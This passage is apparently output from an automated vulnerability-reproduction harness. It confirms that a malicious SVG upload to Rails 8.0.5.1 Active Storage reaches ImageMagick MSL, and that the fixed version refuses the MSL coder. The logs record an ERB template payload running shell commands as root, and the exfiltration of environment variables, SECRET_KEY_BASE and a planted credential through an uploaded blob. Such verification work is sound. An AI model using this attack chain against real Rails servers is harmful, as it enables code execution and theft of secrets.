/workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:11:40Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:11:40Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_deb4c89503db > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_deb4c89503db", "rce_marker_expected": "PRUVA_RCE_deb4c89503db", "rce_ok": true} --- fixed attempt 1 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:11:44Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:11:44Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:11:44Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "canary_bytes": 68, "rce_response_evidence": null, "rce_marker": "", "rce_marker_expected": "PRUVA_RCE_6407a176c7c5", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- fixed attempt 2 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:11:46Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:11:47Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:11:47Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "canary_bytes": 68, "rce_response_evidence": null, "rce_marker": "", "rce_marker_expected": "PRUVA_RCE_0fc654d8f615", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- vulnerable attempts produced all effects: true --- fixed attempts produced no effect: true { "entrypoint_kind": "endpoint", "entrypoint_detail": "POST /uploads (Active Storage attach) on a Rails 8.0.5.1 app with variant_processor=:mini_magick and the Disk service; ImageMagick analyzer runs at attach time", "service_started": true, "healthcheck_passed": true, "target_path_reached": true, "runtime_stack": [ "ruby-3.4", "rails-8.0.5.1-activestorage", "mini_magick-5.0", "imagemagick-7.1.1-32", "puma", "sqlite3" ], "target_identity": { "repository_url": "https://github.com/rails/rails", "commit_sha": "7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c", "target_digest": "ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd", "platform": "linux", "architecture": "x86_64" }, "proof_artifacts": [ "logs/attempts/fixed_1/attack.log", "logs/attempts/fixed_1/attack.stdout", "logs/attempts/fixed_1/server.log", "logs/attempts/fixed_1/summary.json", "logs/attempts/fixed_2/attack.log", "logs/attempts/fixed_2/attack.stdout", "logs/attempts/fixed_2/server.log", "logs/attempts/fixed_2/summary.json", "logs/attempts/vuln_1/05_payload_env1024.msl", "logs/attempts/vuln_1/10_arbitrary_write.txt", "logs/attempts/vuln_1/11_exfil_blob_download.bin", "logs/attempts/vuln_1/11b_exfil_canary_download.bin", "logs/attempts/vuln_1/12_exfil_environ.txt", "logs/attempts/vuln_1/13_response_after_template_write.html", "logs/attempts/vuln_1/attack.log", "logs/attempts/vuln_1/attack.stdout", "logs/attempts/vuln_1/server.log", "logs/attempts/vuln_1/summary.json", "logs/attempts/vuln_2/05_payload_env1024.msl", "logs/attempts/vuln_2/10_arbitrary_write.txt", "logs/attempts/vuln_2/11_exfil_blob_download.bin", "logs/attempts/vuln_2/11b_exfil_canary_download.bin", "logs/attempts/vuln_2/12_exfil_environ.txt", "logs/attempts/vuln_2/13_response_after_template_write.html", "logs/attempts/vuln_2/attack.log", "logs/attempts/vuln_2/attack.stdout", "logs/attempts/vuln_2/server.log", "logs/attempts/vuln_2/summary.json" ], "artifact_sha256": { "logs/attempts/fixed_1/attack.log": "ed6a13328520b889e2d26d04860990a88a58fa508d711627716e63fee174206a", "logs/attempts/fixed_1/attack.stdout": "ddbb7519bdd65865c6f4c9c9f324df1d875371016963906c0ad0a6254dfa542e", "logs/attempts/fixed_1/server.log": "dc4f1dab595dd8e9fb63d6db5edacc5f206fd9788d2ae1798b696d1bc5dd67c5", "logs/attempts/fixed_1/summary.json": "25b2ce3524d299ff8b5d1cfbd6d22c518e04bf885c498e320327a5389ec936ae", "logs/attempts/fixed_2/attack.log": "b39dfb3fcf224dcf4bdc7a5e1e0a6caf04d3896c6fdfe75a21a2c2879beca32e", "logs/attempts/fixed_2/attack.stdout": "940e73fb274e8678852ec46ba5f44849eddbf6bdde705ded4dff90d231add11c", "logs/attempts/fixed_2/server.log": "87db91329481ee12e279f67ca71e1284286b6cd0d42cc7c9c1de9714e4b25c57", "logs/attempts/fixed_2/summary.json": "a06f30fa52b0343eb3c33709c2d5c9f30a85c1cce2a41397c8559551bc42d8b0", "logs/attempts/vuln_1/05_payload_env1024.msl": "9c696bfc137532e92781a27d8b0ec72e3a9ead3b5ab71e989c17ed492b78a955", "logs/attempts/vuln_1/10_arbitrary_write.txt": "ad61152356fc6256d5578d4f1411c487136348c80ed558fca6cd44350bd753b9", "logs/attempts/vuln_1/11_exfil_blob_download.bin": "cf1e074bad43d28d59383ccd62322dbc37ae3ec46e5e0f66909fa051f12ea183", "logs/attempts/vuln_1/11b_exfil_canary_download.bin": "110aa6fc1d9d0c0022c983fd9761eef8a82553596dc3c67a0387fdb417e6c78c", "logs/attempts/vuln_1/12_exfil_environ.txt": "6c4370649af950b9af83bbd25cbaf31f19f48846f1e220a70dedd0a2a8b7f0e4", "logs/attempts/vuln_1/13_response_after_template_write.html": "f26161a9e26333704090eeffdee389b0e9092e3429438aec0f7d6a75fd0f2ea4", "logs/attempts/vuln_1/attack.log": "b7dc6dae428d4b4528643c050d3f5602d55ea4089678a787b32dd8f87c96bdb8", "logs/attempts/vuln_1/attack.stdout": "a297c52072eb14e4aeb9d0697747e8d10f7c53abe4d87d30cbde76231d8db253", "logs/attempts/vuln_1/server.log": "468fe4c61666237476e445700159d418c6fbea7754b921f8099d7f58c80ce3fa", "logs/attempts/vuln_1/summary.json": "0ff54adf580ae9278ec875a81f45189846fc39070a8d6cb42c9af4e90e9ae103", "logs/attempts/vuln_2/05_payload_env1024.msl": "4db422d4ecc08aff9d5e66aa6d18efadbcd2e77cac6c3d672fcc789bfbbcad8f", "logs/attempts/vuln_2/10_arbitrary_write.txt": "fd0b58365fe27826976099a28127423d8033f1f89cc30ce1bd9c41cc7e179f1f", "logs/attempts/vuln_2/11_exfil_blob_download.bin": "cf1e074bad43d28d59383ccd62322dbc37ae3ec46e5e0f66909fa051f12ea183", "logs/attempts/vuln_2/11b_exfil_canary_download.bin": "110aa6fc1d9d0c0022c983fd9761eef8a82553596dc3c67a0387fdb417e6c78c", "logs/attempts/vuln_2/12_exfil_environ.txt": "6c4370649af950b9af83bbd25cbaf31f19f48846f1e220a70dedd0a2a8b7f0e4", "logs/attempts/vuln_2/13_response_after_template_write.html": "543f521ca6765293ecefeb359a3da01c4e908b78318a95e3274e3ec03295f31f", "logs/attempts/vuln_2/attack.log": "b9b7a87093f740dc1dab77fc6e1442c05fedefdeea63a7f41b61f5766e3198b6", "logs/attempts/vuln_2/attack.stdout": "00f0d8bcda0e7a32b17bbc99cfaf25d4efea67cb61247895522bd9336eb5badf", "logs/attempts/vuln_2/server.log": "a52a1045526ad26e9307ae14373762cb827d2884914cffa7b93abd08ddf033a6", "logs/attempts/vuln_2/summary.json": "d5fb2f025f8b379866e1c61c7708131dc60faa0d2465a48bdbff553269d091a9" }, "notes": "attacker-controlled SVG reached ImageMagick MSL through the Active Storage image analyzer at attach time on activestorage 8.0.5.1: arbitrary file write, arbitrary file read of /proc/self/environ and of a planted credential file exfiltrated through the attacker's own blob, and code execution through a template the MSL write replaced. Fixed 8.0.5.2 refuses the MSL coder through the shipped ImageMagick policy." } === reproduction confirmed === === reproduction start 2026-11-04T14:13:19Z === --- vulnerable checkout: 7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c --- fixed checkout: ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 --- RAILS_VERSION vuln=8.0.5.1 fixed=8.0.5.1 (fix commit; version bump is a later commit) --- target digest: ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd --- reusing existing image pruva/repro-f3w6 Version: ImageMagick 7.1.1-32 Q16-HDRI x86_64 e1de8c5eb:20240505 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC MSVG* rw+ ImageMagick's own SVG internal renderer policy: MSL not denied d81c9729066df79d1ffbea1306cc36d12bcdc0e438433d63b66c3f2bd6d75392 81485178a0ba077139ce2069874c0d5771a115b6fb8168b29ce545a58f985185 --- vulnerable app: http://127.0.0.1:3301 --- fixed app: http://127.0.0.1:3302 --- vuln attempt 1 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:13:33Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:13:33Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:13:33Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_90ccc69c228a > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_90ccc69c228a", "rce_marker_expected": "PRUVA_RCE_90ccc69c228a", "rce_ok": true} --- vuln attempt 2 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:13:36Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:13:36Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:13:36Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_d690ffd60193 > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_d690ffd60193", "rce_marker_expected": "PRUVA_RCE_d690ffd60193", "rce_ok": true} --- fixed attempt 1 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:13:41Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:13:41Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:13:41Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "canary_bytes": 68, "rce_response_evidence": null, "rce_marker": "", "rce_marker_expected": "PRUVA_RCE_c4cb09651299", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_1/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- fixed attempt 2 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:13:44Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:13:44Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_2/attack.stdout:2026-11-04T14:13:44Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": false, "exfil_bytes": 68, "exfil_contains_secret_key_base": false, "exfil_contains_canary": false, "canary_bytes": 68, "rce_response_evidence": null, "rce_marker": "", "rce_marker_expected": "PRUVA_RCE_72c6adae96ff", "rce_ok": false} /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. /workspace/bundle/logs/attempts/fixed_2/server.log:identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. --- vulnerable attempts produced all effects: true --- fixed attempts produced no effect: true { "entrypoint_kind": "endpoint", "entrypoint_detail": "POST /uploads (Active Storage attach) on a Rails 8.0.5.1 app with variant_processor=:mini_magick and the Disk service; ImageMagick analyzer runs at attach time", "service_started": true, "healthcheck_passed": true, "target_path_reached": true, "runtime_stack": [ "ruby-3.4", "rails-8.0.5.1-activestorage", "mini_magick-5.0", "imagemagick-7.1.1-32", "puma", "sqlite3" ], "target_identity": { "repository_url": "https://github.com/rails/rails", "commit_sha": "7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c", "target_digest": "ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd", "platform": "linux", "architecture": "x86_64" }, "proof_artifacts": [ "logs/attempts/fixed_1/attack.log", "logs/attempts/fixed_1/attack.stdout", "logs/attempts/fixed_1/server.log", "logs/attempts/fixed_1/summary.json", "logs/attempts/fixed_2/attack.log", "logs/attempts/fixed_2/attack.stdout", "logs/attempts/fixed_2/server.log", "logs/attempts/fixed_2/summary.json", "logs/attempts/vuln_1/05_payload_env1024.msl", "logs/attempts/vuln_1/10_arbitrary_write.txt", "logs/attempts/vuln_1/11_exfil_blob_download.bin", "logs/attempts/vuln_1/11b_exfil_canary_download.bin", "logs/attempts/vuln_1/12_exfil_environ.txt", "logs/attempts/vuln_1/13_response_after_template_write.html", "logs/attempts/vuln_1/attack.log", "logs/attempts/vuln_1/attack.stdout", "logs/attempts/vuln_1/server.log", "logs/attempts/vuln_1/summary.json", "logs/attempts/vuln_2/05_payload_env1024.msl", "logs/attempts/vuln_2/10_arbitrary_write.txt", "logs/attempts/vuln_2/11_exfil_blob_download.bin", "logs/attempts/vuln_2/11b_exfil_canary_download.bin", "logs/attempts/vuln_2/12_exfil_environ.txt", "logs/attempts/vuln_2/13_response_after_template_write.html", "logs/attempts/vuln_2/attack.log", "logs/attempts/vuln_2/attack.stdout", "logs/attempts/vuln_2/server.log", "logs/attempts/vuln_2/summary.json" ], "artifact_sha256": { "logs/attempts/fixed_1/attack.log": "075000823266a6221af911ab60985b470de394f59cbf3992153775c5c8122b45", "logs/attempts/fixed_1/attack.stdout": "8b67112a5d28535da5b5d312d78dc2740fb0bf6aa49ac74a1416ca9c675617bd", "logs/attempts/fixed_1/server.log": "ad049704783379465ed58d3187075c99275aef24e6d6d61fcedaf2a7376cbe67", "logs/attempts/fixed_1/summary.json": "3a40574bc7d2b8b4c0be8a0ee75504135cadb50c529cbf4d44345897589a5e4a", "logs/attempts/fixed_2/attack.log": "89db0903e58de4642aaffb2814c0ab7d7f1aa0361f01cea67e1917a6d6361fa5", "logs/attempts/fixed_2/attack.stdout": "86414ecd137da30d8ee4084ac23700620d2f82e459b3ac26f0e9c416a441f3ad", "logs/attempts/fixed_2/server.log": "03a5910bfe50f509b6437c5be1d5c238a05a221ca748935624e44460f421eda5", "logs/attempts/fixed_2/summary.json": "7dafd810e8efb2511f19e63cb66916f991d2b536f3e6430bd4f5d5c59ae02255", "logs/attempts/vuln_1/05_payload_env1024.msl": "0305a4b0e12b0f554319aa39c01c193cf6cb08d9036b9bb9730b0713a2e50105", "logs/attempts/vuln_1/10_arbitrary_write.txt": "2d99e6d147969cf12c4f1793528c83aef53f6b95d2796c7931176b184b094f65", "logs/attempts/vuln_1/11_exfil_blob_download.bin": "1f8eb5d3a4e77bd96a660a330999f3c32d1d18b180ea647789c5dd23491dd515", "logs/attempts/vuln_1/11b_exfil_canary_download.bin": "497e0527a825d25204218386221cddd5313decf34461a28c70bdb9296bcdbcc3", "logs/attempts/vuln_1/12_exfil_environ.txt": "e9958ac2847e4a57660d117c926915b3e2d2b56432f929f9c38a429d589b4fb2", "logs/attempts/vuln_1/13_response_after_template_write.html": "47b1fe59c9cc7d8d63e0e6d930d9fb739f8966075e07c409fdeaac75b6c27059", "logs/attempts/vuln_1/attack.log": "7b95ef314273c8ebf559415e79f705e98eb2131a2295f2cde1efb3768e4f6d44", "logs/attempts/vuln_1/attack.stdout": "fe855679893a206c8ca41d448f5c834b4c3a8a51b448e0c2f3b9a1ccda6b6938", "logs/attempts/vuln_1/server.log": "a9b92100c8db2e809db0fa9bc2510701c0def199126f357a721485e8b8f44ba8", "logs/attempts/vuln_1/summary.json": "3840b139d9d2f2cb21223f59c056a01e2ec51bbdfb025f4a5c739df039bcf843", "logs/attempts/vuln_2/05_payload_env1024.msl": "120bbcfe19b06a7c91a886e2e7bf06759bb18989e789228bbbedf46e46ffd4fc", "logs/attempts/vuln_2/10_arbitrary_write.txt": "9986384ee36a16a309443d6fc760bf1aa9250dba4b1276e2a4c284570c9213f9", "logs/attempts/vuln_2/11_exfil_blob_download.bin": "1f8eb5d3a4e77bd96a660a330999f3c32d1d18b180ea647789c5dd23491dd515", "logs/attempts/vuln_2/11b_exfil_canary_download.bin": "497e0527a825d25204218386221cddd5313decf34461a28c70bdb9296bcdbcc3", "logs/attempts/vuln_2/12_exfil_environ.txt": "e9958ac2847e4a57660d117c926915b3e2d2b56432f929f9c38a429d589b4fb2", "logs/attempts/vuln_2/13_response_after_template_write.html": "d34f918df2d8521d0d9d81feaf7bfabbb8e413d9f096d03fdb98f098c487911e", "logs/attempts/vuln_2/attack.log": "e110d2d9aa9aa1cb7aff05f484ea5053a24016c8994f1e96c41d095e9eb2c4b2", "logs/attempts/vuln_2/attack.stdout": "8a51b4989a833d93f6d7a6c1a19559e4a074e5e0e82c179cfe24e368e2b4bab2", "logs/attempts/vuln_2/server.log": "d4ad828ae87063f03751c5b8b1f7a805ea3233f3157ea2643b42e98678d88fbf", "logs/attempts/vuln_2/summary.json": "71c8343215314f7ed5df260333c3597771dceaaeb931327b7f355745c5100959" }, "notes": "attacker-controlled SVG reached ImageMagick MSL through the Active Storage image analyzer at attach time on activestorage 8.0.5.1: arbitrary file write, arbitrary file read of /proc/self/environ and of a planted credential file exfiltrated through the attacker's own blob, and code execution through a template the MSL write replaced. Fixed 8.0.5.2 refuses the MSL coder through the shipped ImageMagick policy." } === reproduction confirmed === === reproduction start 2026-11-04T14:16:17Z === --- vulnerable checkout: 7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c --- fixed checkout: ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776 --- RAILS_VERSION vuln=8.0.5.1 fixed=8.0.5.1 (fix commit; version bump is a later commit) --- target digest: ca8f601522abe5ce8e5f9cac062820fc77f2b0be2ae4ed0a9340b969d7ac31cd --- reusing existing image pruva/repro-f3w6 Version: ImageMagick 7.1.1-32 Q16-HDRI x86_64 e1de8c5eb:20240505 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC MSVG* rw+ ImageMagick's own SVG internal renderer policy: MSL not denied 351e5f563eba262163872b219d78d9e085f5b228a71f1327b8a1f5657429387a bf0ccbc23432e535617dde905c049175740a2820e493deace5e4884d1ebe2093 --- vulnerable app: http://127.0.0.1:3301 --- fixed app: http://127.0.0.1:3302 --- vuln attempt 1 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:16:30Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:16:30Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' /workspace/bundle/logs/attempts/vuln_1/attack.stdout:2026-11-04T14:16:30Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_0ec1b62c8fd4 > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_0ec1b62c8fd4", "rce_marker_expected": "PRUVA_RCE_0ec1b62c8fd4", "rce_ok": true} --- vuln attempt 2 (http://127.0.0.1:3301) attack exit=0 /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:16:32Z exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:16:32Z response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' /workspace/bundle/logs/attempts/vuln_2/attack.stdout:2026-11-04T14:16:32Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "<% system(\"echo PRUVA_RCE_dc6913a3981d > /tmp/pruva_rce_marker\") %><%= `id` %>\n\n", "arbitrary_write_ok": true, "exfil_bytes": 1664, "exfil_contains_secret_key_base": true, "exfil_contains_canary": true, "canary_bytes": 30, "rce_response_evidence": "uid=0(root) gid=0(root) groups=0(root)", "rce_marker": "PRUVA_RCE_dc6913a3981d", "rce_marker_expected": "PRUVA_RCE_dc6913a3981d", "rce_ok": true} --- fixed attempt 1 (http://127.0.0.1:3302) attack exit=1 /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:16:36Z exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:16:36Z response after the template write contains command output: None /workspace/bundle/logs/attempts/fixed_1/attack.stdout:2026-11-04T14:16:36Z SUMMARY {"arbitrary_write_path": "/tmp/pruva_arbitrary_write.txt", "arbitrary_write_content": "", "arbitrary_write_ok": 